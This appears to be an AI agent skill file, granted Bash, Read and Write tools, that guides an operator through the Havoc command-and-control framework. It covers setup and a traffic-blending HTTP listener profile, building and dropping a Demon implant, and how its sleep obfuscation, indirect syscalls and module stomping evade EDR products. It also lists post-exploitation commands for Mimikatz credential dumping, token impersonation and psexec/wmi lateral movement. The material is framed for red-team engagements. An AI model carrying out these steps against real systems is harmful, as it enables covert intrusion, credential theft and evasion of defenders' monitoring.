c2-havoc

name	c2-havoc
description	Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"havoc demon c5pider sleep obfuscation ekko ekko zilean foliage indirect syscall donut pic","subdomain":"c2","tags":"c2, havoc, demon, post-exploitation, opsec","mitre_attack":"T1071, T1105, T1620"}

Havoc C2 Operator Skill

Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.

Setup

# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build

# Or run via Docker
docker compose up -d

Architecture

   ┌────────────┐       ┌─────────────┐       ┌──────────┐
   │ Operator   │ <───> │ Teamserver  │ <───> │ Demon    │
   │ (Client)   │  TS   │ (Go + gRPC) │  HTTP │ (Implant)│
   └────────────┘       └─────────────┘       └──────────┘

• Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
• Client: Qt-based desktop UI (Material Dark).
• Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.

Configure a profile

Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:

Teamserver {
  Host = "0.0.0.0"
  Port = 40056
  Build {
    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
    Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
    Nasm = "/usr/bin/nasm"
  }
}

Operators {
  user "op-alice" { Password = "strongpassword" }
}

Listeners {
  Http {
    Name      = "primary-http"
    Hosts     = ["op-server.com"]
    HostBind  = "0.0.0.0"
    PortBind  = 443
    PortConn  = 443
    Secure    = true
    HostRotation = "round-robin"
    Uris      = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"]   # blend with CDN traffic
    Headers   = ["X-Forwarded-For: 1.2.3.4"]
    UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  }
}

Then ./havoc server --profile profiles.yaotl -v.

Build a Demon

In the client UI:

1. Attack → Payload → Demon
2. Listener: select your HTTP listener
3. Arch: x64 / x86
4. Format: Windows Exe / Windows DLL / Shellcode
5. Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
6. Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
7. Save → drop on target

# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)

What makes Havoc's OPSEC strong

Sleep obfuscation (3 options)

• Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
• Zilean: timer-based variant.
• FOLIAGE: pure ROP chain, no Win32 timer dependency.

Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.

Indirect syscalls

Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.

Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.

No static strings

All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.

Module stomping

Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).

Common commands

> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords          # built-in Mimikatz wrap
> spawnas <user> <pass> <listener>         # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host>   # lateral movement

Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike

	Havoc	Sliver	Mythic	Cobalt Strike
Sleep obfuscation	Built-in (Ekko/Zilean/FOLIAGE)	None — needs BOF	Per-agent	Built-in (Sleep Mask)
Indirect syscalls	Yes, opt-in	No (only direct)	Per-agent	Yes (via patches)
OPSEC defaults	Strong	Fair	Per-agent	Excellent
Modern UI	Yes (Qt MaterialUI)	Web + CLI	Web	Heavy Java
Cross-platform implant	Windows only (Demon)	Yes (Sliver)	Per-agent (Poseidon=macOS/Linux)	Yes (Beacon)
License	GPL OSS	GPL OSS	BSD OSS	Commercial $

When to pick Havoc

• Windows-only engagement, need modern OPSEC out-of-the-box
• Cobalt Strike's price/license unavailable
• Operator team comfortable with Qt UI vs web
• Need indirect syscalls + sleep obfuscation without writing BOFs

When NOT to pick:

• Need cross-platform implant (Sliver/Mythic Poseidon better)
• Need a polished commercial UI for client-deliverable screenshots (CS still wins)
• Need mature OPSEC profile library (CS Malleable profile ecosystem is bigger)

References

• Havoc Framework docs — havocframework.com
• C5pider's blog — c5pider.com (Ekko, Zilean writeups)
• "Modern C2 OPSEC" — Outflank training material
• Cobalt Strike Malleable profile guide (translates well to Havoc HTTP profile design)